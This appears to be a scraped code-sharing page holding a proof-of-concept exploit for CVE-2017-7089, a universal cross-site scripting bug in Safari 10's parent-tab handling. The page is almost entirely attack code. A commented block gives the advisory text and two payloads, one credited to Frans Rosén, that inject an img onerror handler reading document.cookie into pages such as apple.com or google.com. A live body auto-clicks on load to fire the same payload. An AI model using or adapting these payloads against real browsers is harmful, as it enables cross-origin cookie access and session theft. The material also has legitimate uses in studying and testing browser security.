扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<!-- # CVE-2017-7089 **Impact**: Processing maliciously crafted web content may lead to universal cross site scripting **Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management. #### Safari 10 ##### Local SOP bypass </code><code>html <script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button> </code><code> ##### Exploit by Frans Rosén </code><code>html data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src="https://www.exploit-db.com/exploits/45866/"onerror="alert(document.cookie)">'};setTimeout(y,100)</script> </code><code> --> <body onload=document.getElementById('pew').click()> <a id='pew' href='data:text/html,<script>function y(){x=open('parent-tab://apple.com','_top'),x.document.body.innerHTML='<img/src="https://www.exploit-db.com/exploits/45866/"onerror=alert(document.domain);alert(document.cookie);>'};setTimeout(y,100)</script>'>hello</a> </body> |
体验盒子
